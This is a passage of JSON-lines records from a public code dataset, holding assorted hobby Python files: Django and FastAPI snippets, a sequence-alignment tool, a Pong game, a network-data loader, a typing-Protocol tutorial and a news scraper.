json.dumps(mappedItemList)\n\t#all_items_serialized = serializers.serialize('json', all_items_orderd)\n\treturn all_items_json\n\ndef update_item(id, value):\n\tif value == \"1\":\n\t\tendt = timezone.now()\n\telse:\n\t\tendt = None\n\titem = Item.objects.filter(id=id)\n\titem.update(done = value)\n\titem.update(endtime = endt)\n\ndef remove_item(id):\n\titem = Item.objects.filter(id=id)\n\titem.delete()\n\ndef get_highest_soring_order():\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tall_items = Item.objects.filter(Q(endtime__range=[startdate, enddate]) | Q(endtime=None))\n\tindex = all_items.order_by(\"-ordernumber\")[0]\n\treturn index.ordernumber\n\n\ndef update_item_order(newvalue, id):\n\treorder_items(newvalue)\n\titem = Item.objects.filter(id=id)\n\titem.update(ordernumber=newvalue)\n\ndef reorder_items(i):\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tfor item in items:\n\t\titem.update(ordernumber = F('ordernumber') + 1)\n\ndef item_mapper(rawItem):\n\titem = {}\n\titem['id'] = rawItem.id\n\titem['name'] = rawItem.name\n\titem['done'] = rawItem.done\n\treturn item","repo_name":"andreasastrom/mysocialclub","sub_path":"hello/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"27589884887","text":"# -*- coding: utf-8 -*-\n\nimport asyncio\nimport traceback\nfrom datetime import datetime\nfrom typing import List\n\nfrom fastapi import APIRouter, Request, WebSocket\nfrom starlette.responses import HTMLResponse\n\nfrom current_log.RedisClient import RedisClient\n\nlog_router = APIRouter()\n\nhtml = \"\"\"\n\n\n \n \n 实时日志\n \n \n 实时日志
\n \n \n \n\"\"\"\n\nredis_client = RedisClient()\n\n\nclass ConnectionManager:\n def __init__(self):\n self.active_connections: List[WebSocket] = []\n\n async def broadcast(self, system_name):\n while True:\n message = redis_client.lpop(system_name)\n if message:\n # await asyncio.gather(\n # *[ws.send_text(message) for ws in self.active_connections],\n # return_exceptions=False,\n # )\n for ws in self.active_connections:\n try:\n await ws.send_text(message)\n except:\n pass\n await asyncio.sleep(0.2)\n\n def start_broadcast(self, system_name):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n asyncio.get_event_loop().run_until_complete(manager.broadcast(system_name))\n # asyncio.get_event_loop().run_forever()\n\n\nmanager = ConnectionManager()\n\n\n@log_router.get(path='/logs')\ndef get_log(request: Request):\n try:\n run_host = str(request.url.netloc)\n user = datetime.now().strftime('%f')\n user_html = html\n user_html = user_html.format(host=run_host, user=user)\n return HTMLResponse(user_html)\n except:\n return {\"error\": traceback.format_exc()}\n\n\n@log_router.websocket(path=\"/log_connect/{user}\")\nasync def broadcast_log_redis(ws: WebSocket, user: str):\n await ws.accept()\n manager.active_connections.append(ws)\n try:\n while True:\n await ws.receive_text()\n await ws.send_text(\"pong\")\n except:\n pass\n finally:\n manager.active_connections.remove(ws)\n\n\n@log_router.get(path=\"/start_generate_log/{system_name}\")\ndef start_generate_log(system_name: str):\n import threading\n threading.Thread(target=manager.start_broadcast, args=(system_name,)).start()\n return {\"message\": \"success\"}\n\n\n@log_router.get(path='/')\ndef test():\n print(\"测试\")\n return {\"message\": \"aaaa\"}\n","repo_name":"cooldowntime/curentlog","sub_path":"current_log/current_log_router.py","file_name":"current_log_router.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"13883538647","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nimport datetime\n\n\n# Create your views here.\n@api_view()\ndef get_detail(request):\n\n slack_name = request.GET.get('slack_name', None)\n\n track = request.GET.get('track', None)\n\n current_date = datetime.date.today()\n\n\n \n # Get the current UTC time\n current_utc_time = datetime.datetime.utcnow()\n\n # Define a time range of +/- 2 hours\n time_range = datetime.timedelta(hours=2)\n\n # Calculate the minimum and maximum allowed times\n min_time = current_utc_time - time_range\n max_time = current_utc_time + time_range\n\n # Get the current UTC time as a string\n min_time_str = min_time.strftime('%Y-%m-%d %H:%M:%S')\n max_time_str = max_time.strftime('%Y-%m-%d %H:%M:%S')\n\n# Get the name of the day of the week\n day_of_week = current_date.strftime('%A')\n\n detail = { \n \"slack_name\": slack_name,\n \"current_days\": day_of_week,\n \"utc_time\": \"Min. =>\"+ min_time_str + \" - Man =>\" + max_time_str,\n \"track\": track,\n \"github_file_url\": \"https://github.com/hussain4me/zuri-first-assignment/blob/main/api/views.py\",\n \"github_repo_url\": \"https://github.com/hussain4me/zuri-first-assignment\",\n \"status_code\": 200\n }\n\n return Response(detail)\n","repo_name":"hussain4me/zuri-first-assignment","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"14461442187","text":"import tensorflow as tf\nimport helper\n \nmodel = tf.keras.models.load_model(\"pets\")\n\nwhile True:\n url = input(\"Please enter an image url:\")\n try:\n image = tf.keras.utils.get_file(origin=url)\n image = tf.keras.utils.load_img(image)\n break\n except:\n print(\"That is not a valid link\")\n\nhelper.show_predictions(url, model)","repo_name":"Powerlax/ImageSegmentation","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"31564645195","text":"import sys\nfrom turtle import back\nfrom load import *\n\n# this function creates a 2D matrix with pre-determined scores for certain rows\ndef scoreMatrix(x, y, score):\n matrix = [[0] * (len(y)+1) for i in range(len(x)+1)]\n for i in range(len(x)+1):\n matrix[i][0] = i * score\n for j in range(len(y)+1):\n matrix[0][j] = j * score\n return matrix\n\n# this function creates a 2D matrix to backtrack previous locations\ndef backMatrix(x, y):\n matrix = [[0] * (len(y)+1) for i in range(len(x)+1)]\n for i in range(len(x)+1):\n matrix[i][0] = \"up\"\n for j in range(len(y)+1):\n matrix[0][j] = \"left\"\n matrix[0][0] = 0\n return matrix\n\n# this function decides which score to use for DNA scoring\ndef DNAscore(match, mismatch, seq1, seq2):\n if seq1 == seq2:\n return match\n else: \n return mismatch\n\n# this function calculates identities between 2 sequences\ndef identities(seq1, seq2):\n total = len(seq1)\n count = 0\n for i in range(len(seq1)):\n if seq1[i] == seq2[i]:\n count += 1\n \n num = str(count) + \"/\" + str(total)\n percent = \"(\" + str(int(count/total * 100)) + \"%)\"\n return num + \" \" + percent\n\n# this function takes 2 DNA sequences and use global alignment to decide the optimal score\ndef DNAglobal(scores, seq1, seq2):\n\n # get scores from the dnaMatrix file\n matchScore = scores.get(\"match score\")\n mismatchScore = scores.get(\"mismatch score\")\n gapPenalty = scores.get(\"gap penalty\")\n\n # create a 2D matrix using list of list and fill in the basic gap penalties \n matrix = scoreMatrix(seq1, seq2, gapPenalty)\n\n # create another 2D matrix to save the information for backtracking\n backtrack = backMatrix(seq1, seq2)\n\n # fill in all the scores and backtracking info\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + DNAscore(matchScore, mismatchScore, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function takes 2 DNA sequences and use semi-global alignment to decide the optimal score\ndef DNAsemi_global(scores, seq1, seq2):\n\n # get scores from the dnaMatrix file\n matchScore = scores.get(\"match score\")\n mismatchScore = scores.get(\"mismatch score\")\n gapPenalty = scores.get(\"gap penalty\")\n\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + DNAscore(matchScore, mismatchScore, seq1[i-1], seq2[j-1])\n\n if i == len(seq1):\n left = matrix[i][j-1]\n else:\n left = matrix[i][j-1] + gapPenalty\n\n if j == len(seq2):\n up = matrix[i-1][j]\n else:\n up = matrix[i-1][j] + gapPenalty\n \n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n \n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function takes 2 DNA sequences and uses local alignment to decide the optimal score\ndef DNAlocal(scores, seq1, seq2):\n matchScore = scores.get(\"match score\")\n mismatchScore = scores.get(\"mismatch score\")\n gapPenalty = scores.get(\"gap penalty\")\n\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n max_score = 0\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + DNAscore(matchScore, mismatchScore, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n if matrix[i][j] < 0:\n matrix[i][j] = 0\n\n if matrix[i][j] > max_score:\n max_score = matrix[i][j]\n max_index = [i,j]\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score, max_score, max_index, matrix\n\n# this function uses backtracking info to create new aligned sequences\ndef aligned(seq1, seq2, src, type):\n l1 = len(seq1)\n l2 = len(seq2)\n back_matrix = src[0]\n s1 = \"\"\n s2 = \"\"\n \n if type == \"G\" or type == \"S\":\n score = src[1]\n while (l1 > 0 or l2 > 0):\n if back_matrix[l1][l2] == \"diagonal\":\n s1 = seq1[l1-1] + s1\n s2 = seq2[l2-1] + s2\n l1 -= 1\n l2 -= 1\n elif back_matrix[l1][l2] == \"left\":\n s1 = \"-\" + s1\n s2 = seq2[l2-1] + s2\n l2 -= 1\n else:\n s1 = seq1[l1-1] + s1\n s2 = \"-\" + s2\n l1 -= 1\n else:\n score = src[2]\n max_start = src[3]\n l1 = max_start[0]\n l2 = max_start[1]\n score_matrix = src[4]\n while (score_matrix[l1][l2] != 0):\n if back_matrix[l1][l2] == \"diagonal\":\n s1 = seq1[l1-1] + s1\n s2 = seq2[l2-1] + s2\n l1 -= 1\n l2 -= 1\n elif back_matrix[l1][l2] == \"left\":\n s1 = \"-\" + s1\n s2 = seq2[l2-1] + s2\n l2 -= 1\n else:\n s1 = seq1[l1-1] + s1\n s2 = \"-\" + s2\n l1 -= 1\n \n return s1, s2, score, l1, l2\n\n# this function determines which score to use from the BLOSUM file\ndef proteinScore(blosum, seq1, seq2):\n score = blosum.get(seq1).get(seq2)\n return score\n\n# this function creates a scoring matrix using global alignment for 2 protein sequences\ndef proteinGlobal(scores, seq1, seq2):\n gapPenalty = scores.get(\"gap penalty\")\n matrix = scoreMatrix(seq1, seq2, gapPenalty)\n backtrack = backMatrix(seq1, seq2)\n \n # fill in all the scores and backtracking info\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + proteinScore(scores, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function creates a scoring matrix using semi-global alignment for 2 protein sequences\ndef proteinSemi_global(scores, seq1, seq2):\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n gapPenalty = scores.get(\"gap penalty\")\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + proteinScore(scores, seq1[i-1], seq2[j-1])\n\n if i == len(seq1):\n left = matrix[i][j-1]\n else:\n left = matrix[i][j-1] + gapPenalty\n\n if j == len(seq2):\n up = matrix[i-1][j]\n else:\n up = matrix[i-1][j] + gapPenalty\n \n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n \n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score\n\n# this function takes 2 DNA sequences and uses local alignment to decide the optimal score\ndef proteinLocal(scores, seq1, seq2):\n matrix = scoreMatrix(seq1, seq2, 0)\n backtrack = backMatrix(seq1, seq2)\n gapPenalty = scores.get(\"gap penalty\")\n max_score = 0\n\n for i in range(1, len(seq1)+1):\n for j in range(1, len(seq2)+1):\n diagonal = matrix[i-1][j-1] + proteinScore(scores, seq1[i-1], seq2[j-1])\n left = matrix[i][j-1] + gapPenalty\n up = matrix[i-1][j] + gapPenalty\n matrix[i][j] = max(diagonal, left, up)\n\n if matrix[i][j] == diagonal:\n backtrack[i][j] = \"diagonal\"\n elif matrix[i][j] == left:\n backtrack[i][j] = \"left\"\n else:\n backtrack[i][j] = \"up\"\n\n if matrix[i][j] < 0:\n matrix[i][j] = 0\n\n if matrix[i][j] > max_score:\n max_score = matrix[i][j]\n max_index = [i,j]\n\n final_score = matrix[len(seq1)][len(seq2)]\n return backtrack, final_score, max_score, max_index, matrix\n\n# this function deals with all command-line arguments and put them in an ordered list\ndef param(seq1, seq2, output, proseq, atype):\n argv = sys.argv[1:]\n pars = [\"-i\", \"-j\", \"-o\", \"-p\", \"-atype\"]\n alist = [seq1, seq2, output, proseq, atype]\n\n for i in range(len(argv)):\n for j in range(len(pars)):\n if argv[i] == pars[j]:\n try:\n argv[i+1]\n except IndexError:\n print(\"Missing argument after the last index \" + pars[j] + \". Can't run the program!\")\n else:\n if argv[i+1] not in pars:\n alist[j] = argv[i+1]\n\n for i in range(len(alist)):\n if alist[i] == \"\":\n print(\"Missing \" + pars[i] + \" or missing argument after \" + pars[i] + \". Can't run the program!\")\n return None\n if alist[3] != 'T' and alist[3] != 'F':\n print(\"Wrong argument, can't run the program! It should be either T or F after '-p'.\")\n return None\n break\n if alist[4] != 'G' and alist[4] != 'S' and alist[4] != 'L':\n print(\"Wrong argument, can't run the program! It should be either G or S after '-atype'.\")\n return None\n break\n\n return alist\n\ndef main():\n alist = param(None, None, None, None, None)\n # print(alist)\n i = loadSeq(alist[0])\n j = loadSeq(alist[1])\n output = alist[2]\n proseq = alist[3]\n atype = alist[4]\n\n if alist != None:\n fout = open(output, \"w\")\n fout.write(\"\\n \\n\")\n if proseq == \"F\":\n scoring = loadMatrix(\"dnaMatrix.txt\")\n if atype == \"G\":\n source = DNAglobal(scoring, i, j)\n elif atype == \"S\":\n source = DNAsemi_global(scoring, i, j)\n else:\n source = DNAlocal(scoring, i, j)\n else:\n scoring = loadBLOSUM(\"BLOSUM45.txt\")\n if atype == \"G\":\n source = proteinGlobal(scoring, i, j)\n elif atype == \"S\":\n source = proteinSemi_global(scoring, i, j)\n else: \n source = proteinLocal(scoring, i, j)\n\n result = aligned(i, j, source, atype)\n align1 = result[0]\n align2 = result[1]\n score = str(result[2])\n if atype == \"G\" or atype == \"S\":\n fout.write(\"seq1: \" + str(1) + \" \" + align1 + \" \" + str(len(i)) + \"\\n\")\n fout.write(\"\\n\")\n fout.write(\"seq2: \" + str(1) + \" \" + align2 + \" \" + str(len(j)) + \"\\n\") \n else:\n last_idx = source[3]\n fout.write(\"seq1: \" + str(result[3]+1) + \" \" + align1 + \" \" + str(last_idx[0]+1) + \"\\n\")\n fout.write(\"\\n\")\n fout.write(\"seq2: \" + str(result[4]+1) + \" \" + align2 + \" \" + str(last_idx[1]+1) + \"\\n\") \n fout.write(\"\\n\")\n fout.write(\"Score: \" + score + \"\\n\")\n fout.write(\"Identities: \" + identities(align1, align2) + \"\\n\")\n fout.close()\nmain()","repo_name":"ninavu/pairwise_alignment","sub_path":"align.py","file_name":"align.py","file_ext":"py","file_size_in_byte":12452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"71211003149","text":"# cook your dish here\ntry:\n import math as mt\n def great(a,b):\n if(a>=b):\n return a\n else:\n return b\n t=int(input())\n while(t):\n a,b=map(int,input().split())\n g=great(a,b)\n power=int((mt.log(g)/mt.log(2)))+1\n mx=a^b\n \n rotation=0\n mx_rotation=0\n for i in range(1,power):\n end=b&1\n b=b>>1\n b=b|int((end*(2**(power-1))))\n rotation+=1\n if((a^b)>mx):\n mx=a^b\n mx_rotation=rotation\n # print(power)\n # print(mx)\n print(mx_rotation,mx)\n t-=1\nexcept:\n pass\n","repo_name":"iamvedant/Campus-Chapters-1.0","sub_path":"Another Game Of Numbers (GAMENUM).py","file_name":"Another Game Of Numbers (GAMENUM).py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"32624230813","text":"import turtle\nfrom turtle import Turtle, Screen\n\n\nclass LeftPaddle(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.setpos(-400, 0)\n\t\tself.setheading(90)\n\t\tself.speed(0)\n\t\tself.color(61, 84, 103)\n\t\tself.shape(\"square\")\n\t\tself.shapesize(0.8, 4)\n\t\tself.score = 0\n\n\tdef up(self):\n\t\tif self.ycor() < 290:\n\t\t\tself.setheading(90)\n\t\t\tself.forward(20)\n\n\tdef down(self):\n\t\tif self.ycor() > -290:\n\t\t\tself.setheading(270)\n\t\t\tself.forward(20)\n\n\nclass RightPaddle(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.setpos(400, 0)\n\t\tself.setheading(90)\n\t\tself.speed(0)\n\t\tself.color(61, 84, 103)\n\t\tself.shape(\"square\")\n\t\tself.shapesize(0.8, 4)\n\t\tself.score=0\n\n\tdef up(self):\n\t\tif self.ycor() < 290:\n\t\t\tself.setheading(90)\n\t\t\tself.forward(20)\n\n\tdef down(self):\n\t\tif self.ycor() > -290:\n\t\t\tself.setheading(270)\n\t\t\tself.forward(20)\n\n\nclass Ball(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.shape(\"circle\")\n\t\tself.speed(8)\n\t\tself.dx = 10\n\t\tself.dy = 10\n\n\tdef move(self):\n\t\tself.goto((self.xcor() + self.dx), (self.ycor() + self.dy))\n\n\tdef reset(self):\n\t\tself.goto(0, 0)\n\n\nclass ScoreBoard(Turtle):\n\tdef __init__(self, player, score, cord):\n\t\tsuper().__init__()\n\t\tself.player = player\n\t\tself.cord = cord\n\t\tself.score = score\n\t\tself.penup()\n\t\tself.hideturtle()\n\t\tself.goto(cord)\n\t\tself.color(219, 84, 97)\n\t\tself.write(f\"{self.player}: {self.score}\", True, align=\"center\", font=(\"Arial\", 30, \"normal\"))\n\n\nclass HalfCourt(Turtle):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.penup()\n\t\tself.setheading(90)\n\t\tself.color(138, 162, 158)\n\t\tself.shape(\"square\")\n\t\tself.shapesize(0.5, 1)\n","repo_name":"xalxnder/pong","sub_path":"pong_classes.py","file_name":"pong_classes.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"14372327952","text":"import csv\nimport operator\nfrom random import choice\n\nfrom .classes import Node, Link, Network, Agent\n\n\ndef read_nodes(input_dir, node_list, internal_node_seq_no_dict,\n external_node_id_dict, zone_to_nodes_dict):\n \"\"\" step 1: read input_node \"\"\"\n with open(input_dir+'/node.csv', 'r', encoding='utf-8') as fp:\n reader = csv.DictReader(fp)\n node_seq_no = 0\n for line in reader:\n node = Node(node_seq_no, line['node_id'], line['zone_id'])\n node_list.append(node)\n internal_node_seq_no_dict[node.external_node_id] = node_seq_no\n external_node_id_dict[node_seq_no] = node.external_node_id\n if node.zone_id not in zone_to_nodes_dict.keys():\n zone_to_nodes_dict[int(node.zone_id)] = list()\n zone_to_nodes_dict[int(node.zone_id)].append(\n node.external_node_id\n )\n else:\n zone_to_nodes_dict[int(node.zone_id)].append(\n node.external_node_id\n )\n node_seq_no += 1\n print('the number of nodes is', node_seq_no)\n fp.close()\n\n\ndef read_links(input_dir, link_list, node_list, internal_node_seq_no_dict):\n \"\"\" step 2: read input_link \"\"\"\n with open(input_dir+'/link.csv', 'r', encoding='utf-8') as fp:\n reader = csv.DictReader(fp)\n link_seq_no = 0\n for line in reader:\n from_node_no = internal_node_seq_no_dict[int(line['from_node_id'])]\n to_node_no = internal_node_seq_no_dict[int(line['to_node_id'])]\n link = Link(link_seq_no, \n from_node_no, \n to_node_no,\n int(line['from_node_id']),\n int(line['to_node_id']),\n line['length'],\n line['lanes'],\n line['free_speed'],\n line['capacity'],\n line['link_type'],\n line['VDF_alpha1'],\n line['VDF_beta1'])\n node_list[link.from_node_seq_no].outgoing_link_list.append(link)\n node_list[link.to_node_seq_no].incoming_link_list.append(link)\n link_list.append(link)\n link_seq_no += 1\n print('the number of links is', link_seq_no)\n fp.close()\n \n\ndef read_agents(input_dir,\n agent_list,\n agent_td_list_dict,\n zone_to_nodes_dict):\n \"\"\" step 3:read input_agent \"\"\"\n with open(input_dir+'/demand.csv', 'r', encoding='utf-8') as fp:\n reader = csv.DictReader(fp)\n agent_id = 1\n agent_type = 'v'\n agent_seq_no = 0\n for line in reader:\n volume = line['volume']\n volume_agent_size = int(float(volume) + 1)\n \n # only test up to 10k\n if agent_id >= 10000 :\n break \n \n for i in range(volume_agent_size):\n agent = Agent(agent_id,\n agent_seq_no,\n agent_type,\n line['o_zone_id'], \n line['d_zone_id'])\n\n # step 3.1 generate o_node_id and d_node_id randomly according \n # to o_zone_id and d_zone_id \n if zone_to_nodes_dict.get(agent.o_zone_id, -1) == -1 : \n continue\n if zone_to_nodes_dict.get(agent.d_zone_id, -1) == -1 : \n continue \n \n agent.o_node_id = choice(zone_to_nodes_dict[agent.o_zone_id])\n agent.d_node_id = choice(zone_to_nodes_dict[agent.d_zone_id])\n \n # step 3.2 update agent_id and agent_seq_no\n agent_id += 1\n agent_seq_no += 1 \n\n # step 3.3: update the g_simulation_start_time_in_min and \n # g_simulation_end_time_in_min \n if agent.departure_time_in_min < g_simulation_start_time_in_min:\n g_simulation_start_time_in_min = agent.departure_time_in_min\n if agent.departure_time_in_min > g_simulation_end_time_in_min:\n g_simulation_end_time_in_min = agent.departure_time_in_min\n\n #step 3.4: add the agent to the time dependent agent list \n if agent.departure_time_in_simu_interval not in agent_td_list_dict.keys():\n agent_td_list_dict[agent.departure_time_in_simu_interval] = list()\n agent_td_list_dict[agent.departure_time_in_simu_interval].append(agent.agent_seq_no)\n else:\n agent_td_list_dict[agent.departure_time_in_simu_interval].append(agent.agent_seq_no)\n agent_list.append(agent)\n\n print('the number of agents is', len(agent_list))\n\n #step 3.6:sort agents by the departure time\n sort_fun = operator.attrgetter(\"departure_time_in_min\")\n agent_list.sort(key=sort_fun)\n for i, agent in enumerate(agent_list):\n agent.agent_seq_no = i\n\n\ndef read_network(input_dir='./'):\n network = Network()\n\n read_nodes(input_dir,\n network.node_list,\n network.internal_node_seq_no_dict,\n network.external_node_id_dict,\n network.zone_to_nodes_dict)\n\n read_links(input_dir, \n network.link_list,\n network.node_list,\n network.internal_node_seq_no_dict)\n\n read_agents(input_dir,\n network.agent_list,\n network.agent_td_list_dict,\n network.zone_to_nodes_dict)\n\n network.update()\n\n return network","repo_name":"asu-trans-ai-lab/Path4GMNS","sub_path":"path4gmns/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"}
+{"seq_id":"24251040917","text":"\"\"\" Introduction to the Python Protocol \"\"\"\n\n# Suppose you have a function that calculates the total value of a product list, \n# where each product has the name, quantity, and price attributes:\nfrom typing import List\nclass Product:\n def __init__(self, name, quantity, price):\n self.name = name\n self.quantity = quantity\n self.price = price\n\ndef calculate_total(items: List[Product]) -> int:\n return sum([prod.quantity * prod.price for prod in items])\n\nitems = [\n Product('Mouse', 2, 250),\n Product('Keyboard', 3, 550)\n]\n\nprint(calculate_total(items))\n\n# In this example, the calculate_total() function accepts a list of Product objects and \n# returns the total value.\n\n# When writing this function, you may want to calculate the total of a product list. But you \n# likely want to use it for other lists such as inventory lists in the future.\n\n# If you look closely at the calculate_total() function, it only uses the quantity and price \n# attributes.\n\n# To make the calculate_total() more dynamic while leveraging type hints, you can use the \n# Protocol from the typing module. The Protocol class has been available since Python 3.8, \n# described in PEP 544.\n\nfrom pprint import pprint\nfrom typing import Protocol\n# First, define an Item class that inherits from the Protocol with two \n# attributes: quantity and price:\nclass Item(Protocol):\n quantity: int\n price: float\n\nclass Product:\n def __init__(self, name, quantity, price):\n self.name = name\n self.quantity = quantity\n self.price = price\n\nclass Inventory:\n def __init__(self, name, quantity, price):\n self.name = name\n self.quantity = quantity\n self.price = price\n\n# Second, change the calculate_total() function that accepts a list of Item objects \n# instead of a list of Product objects:\ndef calculate_total(items: List[Item]):\n return sum([item.quantity * item.price for item in items])\n\n# By doing this, you can pass any list of Item objects to the calculate_total() function \n# with the condition that each item has two attributes quantity and price.\ntotal = calculate_total([\n Product('Keyboard', 2, 800),\n Product('Mouse', 3, 250)\n])\nprint(total)\n\ntotal = calculate_total([\n Inventory('Food', 25, 150),\n Inventory('Stones', 150, 250)\n])\nprint(total)\n\n# In this example, the Product and Inventory class don’t need to subclass the Item \n# class but still can be used in the calculate_total() function.\n\n# This is called duck typing in Python. In duck typing, the behaviors and properties of an \n# object determine the object type, not the explicit type of the object.\n\n# For example, an object with the quantity and price will follow the Item protocol, \n# regardless of its explicit type.\n\n\"\"\" Summary \"\"\"\n# Use Python Protocol to define implicit interfaces.\n\n","repo_name":"Engr-Asad-Hussain/oop","sub_path":"single_inheritance/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40581670455","text":"import os\nimport random\n\n\ndef search_file(directory, file, list_p):\n\n for i_elem in os.listdir(directory):\n path = os.path.join(directory, i_elem)\n if file == i_elem:\n list_p.append(path)\n elif os.path.isdir(path):\n search_file(path, file, list_p)\n\n return list_p\n\n\nlist_paths = list()\nmy_dir = 'Skillbox'\ndir_path = os.path.abspath(os.path.join('..', '..', '..', my_dir))\n\nprint('Ищем в: ', dir_path)\nfile_name = input('Имя файла: ')\n\n\nresult = search_file(dir_path, file_name, list_paths)\n\nif not result:\n print('Указанный файл в системе не найден.')\nelse:\n print('Найдены следующие пути:')\n for i_path in result:\n print(i_path)\n\nrandom_file = random.choice(result)\n\nfile = open(random_file, 'r', encoding='utf-8')\n\nprint('Вывод случайного файла из найденных, его путь', random_file)\nfor i_line in file:\n print(i_line, end='')\n\n","repo_name":"surma623/Module-Skillbox","sub_path":"22.3.2.py","file_name":"22.3.2.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"12559472397","text":"import sys\r\nimport heapq\r\n\r\ninput = sys.stdin.readline\r\nn, k = map(int, input().split())\r\njewel_data = [tuple(map(int, input().split())) for _ in range(n)]\r\nbag_data = [int(input()) for _ in range(k)]\r\n\r\njewel_data.sort(reverse=True)\r\nbag_data.sort()\r\n\r\nh = []\r\n\r\nresult = 0\r\nfor c in bag_data:\r\n while jewel_data and jewel_data[-1][0] <= c:\r\n jewel = jewel_data.pop()\r\n heapq.heappush(h, -jewel[1])\r\n if h:\r\n result += -heapq.heappop(h)\r\n\r\nprint(result)","repo_name":"Charmull/Algorithm_Python","sub_path":"백준/Gold/1202. 보석 도둑/보석 도둑.py","file_name":"보석 도둑.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"25864527041","text":"import pymongo\nfrom pymongo import MongoClient\nimport requests\nfrom bs4 import BeautifulSoup as soup\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup as BS\nimport re\n\nc = MongoClient()\ndb=c[\"mydatabase\"]\narticle = db.articles\n\ndef insertIntoDB(date,title, content, source, url):\n post_Data ={'date': date, 'title':title,'content':content,'source':source,'url':url,'score':'NA'}\n \"\"\"if(article.find({'title':title,'date':date,'source':source}).count()>0):\n print(\"already present\")\n else:\"\"\"\n result = article.insert_one(post_Data)\n\ndef updateScore():\n article.find({'score':'NA'})\n\t\ndef getGoodNetworkNews():\n url = 'https://www.goodnewsnetwork.org/'\n html = requests.get(url)\n soup = BS(html.text)\n table = soup.find_all('h3',{'class':\"entry-title td-module-title\"})\n for i in table:\n k=i.find('a')['href']\n #print(\"url\",k)\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n browser.get(k)\n html = browser.page_source\n soup = BS(html, 'html.parser')\n time = soup.find('time')\n #print(time.string)\n 